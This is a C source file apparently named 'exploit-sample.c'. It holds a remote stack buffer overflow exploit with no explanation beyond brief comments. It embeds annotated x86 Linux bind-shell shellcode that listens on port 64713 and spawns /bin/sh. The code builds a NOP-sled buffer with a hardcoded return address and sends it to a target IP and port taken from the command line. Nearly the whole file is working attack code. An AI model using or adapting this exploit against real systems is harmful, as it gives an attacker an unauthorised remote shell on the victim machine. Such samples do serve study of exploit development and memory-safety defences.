exploit-sample.c

#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>

char shellcode[] =

  /* socket(AF_INET, SOCK_STREAM, 0) */

  "\x6a\x66"            // push   $0x66
  "\x58"            // pop    %eax
  "\x6a\x01"            // push   $0x1
  "\x5b"            // pop    %ebx
  "\x99"            // cltd
  "\x52"            // push   %edx
  "\x53"            // push   %ebx
  "\x6a\x02"            // push   $0x2
  "\x89\xe1"            // mov    %esp,%ecx
  "\xcd\x80"            // int    $0x80

  /* bind(s, server, sizeof(server)) */

  "\x52"            // push   %edx
  "\x66\x68\xfc\xc9"        // pushw  $0xc9fc  // PORT = 64713
  "\x66\x6a\x02"        // pushw  $0x2
  "\x89\xe1"            // mov    $esp,%ecx
  "\x6a\x10"            // push   $0x10
  "\x51"            // push   %ecx
  "\x50"            // push   %eax
  "\x89\xe1"            // mov    %esp,%ecx
  "\x89\xc6"            // mov    %eax,%esi
  "\x43"            // inc    %ebx
  "\xb0\x66"            // mov    $0x66,%al
  "\xcd\x80"            // int    $0x80

  /* listen(s, anything) */

  "\xb0\x66"            // mov    $0x66,%al
  "\xd1\xe3"            // shl    %ebx
  "\xcd\x80"            // int    $0x80

  /* accept(s, 0, 0) */

  "\x52"            // push   %edx
  "\x56"            // push   %esi
  "\x89\xe1"            // mov    %esp,%ecx
  "\x43"            // inc    %ebx
  "\xb0\x66"            // mov    $0x66,%al
  "\xcd\x80"            // int    $0x80

  "\x93"            // xchg   %eax,%ebx

  /* dup2(c, 2) , dup2(c, 1) , dup2(c, 0) */

  "\x6a\x02"            // push   $0x2
  "\x59"            // pop    %ecx

  "\xb0\x3f"            // mov    $0x3f,%al
  "\xcd\x80"            // int    $0x80
  "\x49"            // dec    %ecx
  "\x79\xf9"            // jns    dup_loop

  /* execve("/bin/sh", ["/bin/sh"], NULL) */

  "\x6a\x0b"            // push   $0xb
  "\x58"            // pop    %eax
  "\x52"            // push   %edx
  "\x68\x2f\x2f\x73\x68"    // push   $0x68732f2f
  "\x68\x2f\x62\x69\x6e"    // push   $0x6e69622f
  "\x89\xe3"            // mov    %esp, %ebx
  "\x52"            // push   %edx
  "\x53"            // push   %ebx
  "\x89\xe1"            // mov    %esp, %ecx
  "\xcd\x80";           // int    $0x80

//standard offset (probably must be modified)

#define RET 0xbffff620

int main(int argc, char *argv[]) {
    char buffer[1064];
    int s, i, size;
    struct sockaddr_in remote;
    struct hostent *host;

    if(argc != 3) {
        printf("Usage: %s target-ip port\n", argv[0]);
        return -1;
    }

    // filling buffer with NOPs
    memset(buffer, 0x90, 1064);

    //copying shellcode into buffer
    memcpy(buffer+1001-sizeof(shellcode) , shellcode, sizeof(shellcode));

    // the previous statement causes a unintential Nullbyte at buffer[1000]
    buffer[1000] = 0x90;

    // Copying the return address multiple times at the end of the buffer...
    for(i=1022; i < 1059; i+=4) {
        * ((int *) &buffer[i]) = RET;
    }

    buffer[1063] = 0x0;

    //getting hostname

    host=gethostbyname(argv[1]);

    if (host==NULL) {
        fprintf(stderr, "Unknown Host %s\n",argv[1]);
        return -1;
    }

    // creating socket...

    s = socket(AF_INET, SOCK_STREAM, 0);

    if (s < 0) {
        fprintf(stderr, "Error: Socket\n");
        return -1;
    }

    //state Protocolfamily , then converting the hostname or IP address, and getting port number

    remote.sin_family = AF_INET;
    remote.sin_addr = *((struct in_addr *)host->h_addr);
    remote.sin_port = htons(atoi(argv[2]));

    // connecting with destination host

    if (connect(s, (struct sockaddr *)&remote, sizeof(remote))==-1) {
        close(s);
        fprintf(stderr, "Error: connect\n");
        return -1;
    }

    //sending exploit string
    size = send(s, buffer, sizeof(buffer), 0);

    if (size==-1) {
        close(s);
        fprintf(stderr, "sending data failed\n");
        return -1;
    }

    // closing socket

    close(s);
}